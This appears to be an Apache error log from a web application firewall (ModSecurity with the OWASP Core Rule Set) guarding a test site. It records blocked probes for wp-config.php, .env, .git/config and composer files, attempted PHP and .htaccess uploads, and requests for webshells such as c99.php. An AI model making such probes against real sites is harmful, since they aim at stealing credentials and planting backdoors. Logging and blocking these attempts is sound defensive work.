[Wed Feb 11 20:41:35.738103 2026] [:error] [pid 2024128] [client 217.170.194.172:51155] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzbb1NWxGVd-kxD0-DYjgAAADA"]
[Wed Feb 11 20:41:35.738274 2026] [:error] [pid 2024128] [client 217.170.194.172:51155] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzbb1NWxGVd-kxD0-DYjgAAADA"]
[Wed Feb 11 20:43:52.254101 2026] [:error] [pid 2024126] [client 217.170.194.172:37611] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzb-O1SSxct7UPLzkNVRgAAAC4"]
[Wed Feb 11 20:43:52.254470 2026] [:error] [pid 2024126] [client 217.170.194.172:37611] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzb-O1SSxct7UPLzkNVRgAAAC4"]
[Wed Feb 11 20:43:52.254633 2026] [:error] [pid 2024126] [client 217.170.194.172:37611] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzb-O1SSxct7UPLzkNVRgAAAC4"]
[Wed Feb 11 20:43:55.901336 2026] [:error] [pid 2024107] [client 217.170.194.172:53373] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzb-2yILLO07JVugS8mZwAAABk"]
[Wed Feb 11 20:43:55.901663 2026] [:error] [pid 2024107] [client 217.170.194.172:53373] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzb-2yILLO07JVugS8mZwAAABk"]
[Wed Feb 11 20:43:55.901837 2026] [:error] [pid 2024107] [client 217.170.194.172:53373] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzb-2yILLO07JVugS8mZwAAABk"]
[Wed Feb 11 21:57:59.048881 2026] [:error] [pid 2024124] [client 204.76.203.25:58802] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aYztV7Mub-aJlngsH40SZwAAACw"]
[Wed Feb 11 21:57:59.049163 2026] [:error] [pid 2024124] [client 204.76.203.25:58802] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aYztV7Mub-aJlngsH40SZwAAACw"]
[Wed Feb 11 21:57:59.049325 2026] [:error] [pid 2024124] [client 204.76.203.25:58802] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aYztV7Mub-aJlngsH40SZwAAACw"]
[Wed Feb 11 23:44:45.698619 2026] [php:error] [pid 2024107] [client 4.197.167.136:4612] script '/var/www/magento.test.indacotrentino.com/www/pub/images/c99.php' not found or unable to stat
[Thu Feb 12 06:29:50.233910 2026] [:error] [pid 2030044] [client 156.254.127.253:61070] [client 156.254.127.253] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: txets.php found within FILES:file: txets.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aY1lTuTFwFBtveJuzi-2wAAAAAM"]
[Thu Feb 12 06:29:50.234465 2026] [:error] [pid 2030044] [client 156.254.127.253:61070] [client 156.254.127.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aY1lTuTFwFBtveJuzi-2wAAAAAM"]
[Thu Feb 12 06:29:50.234634 2026] [:error] [pid 2030044] [client 156.254.127.253:61070] [client 156.254.127.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aY1lTuTFwFBtveJuzi-2wAAAAAM"]
[Thu Feb 12 06:38:09.401159 2026] [:error] [pid 2030115] [client 156.254.127.253:61657] [client 156.254.127.253] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: txets.php found within FILES:file: txets.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aY1nQWZEtktkHrNOmfPLOgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Thu Feb 12 06:38:09.401961 2026] [:error] [pid 2030115] [client 156.254.127.253:61657] [client 156.254.127.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aY1nQWZEtktkHrNOmfPLOgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Thu Feb 12 06:38:09.402207 2026] [:error] [pid 2030115] [client 156.254.127.253:61657] [client 156.254.127.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aY1nQWZEtktkHrNOmfPLOgAAAAY"], referer: https://forst-trento.test.indacotrentino.com/wp-blog-header.php
[Sat Feb 14 02:40:55.707846 2026] [php:error] [pid 2071353] [client 20.19.125.154:3031] script '/var/www/magento.test.indacotrentino.com/www/pub/images/m.php' not found or unable to stat
[Tue Feb 17 02:34:46.027552 2026] [:error] [pid 2137337] [client 204.76.203.25:48184] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZPFtpRs-uCByb62B9YhKgAAAAU"]
[Tue Feb 17 02:34:46.030704 2026] [:error] [pid 2137337] [client 204.76.203.25:48184] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZPFtpRs-uCByb62B9YhKgAAAAU"]
[Tue Feb 17 02:34:46.030879 2026] [:error] [pid 2137337] [client 204.76.203.25:48184] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aZPFtpRs-uCByb62B9YhKgAAAAU"]
[Tue Feb 17 11:27:19.376695 2026] [:error] [pid 2139754] [client 101.99.88.90:42616] [client 101.99.88.90] ModSecurity: Warning. Matched phrase ".htaccess" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "601"] [id "932180"] [msg "Restricted File Upload Attempt"] [data "Matched Data: .htaccess found within FILES:file: .htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCh7JoqS_d6YhhQb1oKgAAAAY"]
[Tue Feb 17 11:27:19.376915 2026] [:error] [pid 2139754] [client 101.99.88.90:42616] [client 101.99.88.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCh7JoqS_d6YhhQb1oKgAAAAY"]
[Tue Feb 17 11:27:19.377104 2026] [:error] [pid 2139754] [client 101.99.88.90:42616] [client 101.99.88.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCh7JoqS_d6YhhQb1oKgAAAAY"]
[Tue Feb 17 11:27:19.549155 2026] [:error] [pid 2139754] [client 101.99.88.90:42616] [client 101.99.88.90] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: ex.php found within FILES:file: ex.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCh7JoqS_d6YhhQb1oKwAAAAY"]
[Tue Feb 17 11:27:19.549365 2026] [:error] [pid 2139754] [client 101.99.88.90:42616] [client 101.99.88.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCh7JoqS_d6YhhQb1oKwAAAAY"]
[Tue Feb 17 11:27:19.549555 2026] [:error] [pid 2139754] [client 101.99.88.90:42616] [client 101.99.88.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCh7JoqS_d6YhhQb1oKwAAAAY"]
[Tue Feb 17 11:27:30.243293 2026] [:error] [pid 2145577] [client 101.99.88.90:55486] [client 101.99.88.90] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: ex.php found within FILES:file: ex.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCko1pc620AZ7nr_OPUwAAAAc"]
[Tue Feb 17 11:27:30.243505 2026] [:error] [pid 2145577] [client 101.99.88.90:55486] [client 101.99.88.90] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCko1pc620AZ7nr_OPUwAAAAc"]
[Tue Feb 17 11:27:30.243682 2026] [:error] [pid 2145577] [client 101.99.88.90:55486] [client 101.99.88.90] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRCko1pc620AZ7nr_OPUwAAAAc"]
[Tue Feb 17 12:21:29.005172 2026] [:error] [pid 2139725] [client 156.226.18.206:55034] [client 156.226.18.206] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "109"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: txets.php found within FILES:file: txets.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRPORem7B7UpfBoDZs2HQAAAAM"]
[Tue Feb 17 12:21:29.005682 2026] [:error] [pid 2139725] [client 156.226.18.206:55034] [client 156.226.18.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRPORem7B7UpfBoDZs2HQAAAAM"]
[Tue Feb 17 12:21:29.005851 2026] [:error] [pid 2139725] [client 156.226.18.206:55034] [client 156.226.18.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-blog-header.php"] [unique_id "aZRPORem7B7UpfBoDZs2HQAAAAM"]
[Tue Feb 17 14:50:22.567173 2026] [:error] [pid 2145579] [client 216.81.248.168:36592] [client 216.81.248.168] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aZRyHkuqcvp1BrXo3-ejzwAAAAg"]
[Tue Feb 17 14:50:22.567456 2026] [:error] [pid 2145579] [client 216.81.248.168:36592] [client 216.81.248.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aZRyHkuqcvp1BrXo3-ejzwAAAAg"]
[Tue Feb 17 14:50:22.567622 2026] [:error] [pid 2145579] [client 216.81.248.168:36592] [client 216.81.248.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aZRyHkuqcvp1BrXo3-ejzwAAAAg"]
[Wed Feb 18 02:32:05.028593 2026] [:error] [pid 2158805] [client 46.191.138.29:41352] [client 46.191.138.29] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.json"] [unique_id "aZUWlbnhCbuv4XcfdZGBmAAAAAE"]
[Wed Feb 18 02:32:05.028907 2026] [:error] [pid 2158805] [client 46.191.138.29:41352] [client 46.191.138.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.json"] [unique_id "aZUWlbnhCbuv4XcfdZGBmAAAAAE"]
[Wed Feb 18 02:32:05.029074 2026] [:error] [pid 2158805] [client 46.191.138.29:41352] [client 46.191.138.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.json"] [unique_id "aZUWlbnhCbuv4XcfdZGBmAAAAAE"]
[Wed Feb 18 02:32:05.237428 2026] [:error] [pid 2158821] [client 46.191.138.29:43260] [client 46.191.138.29] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/composer.lock"] [unique_id "aZUWlelWiqWVRV3wvdJXvQAAAAU"]
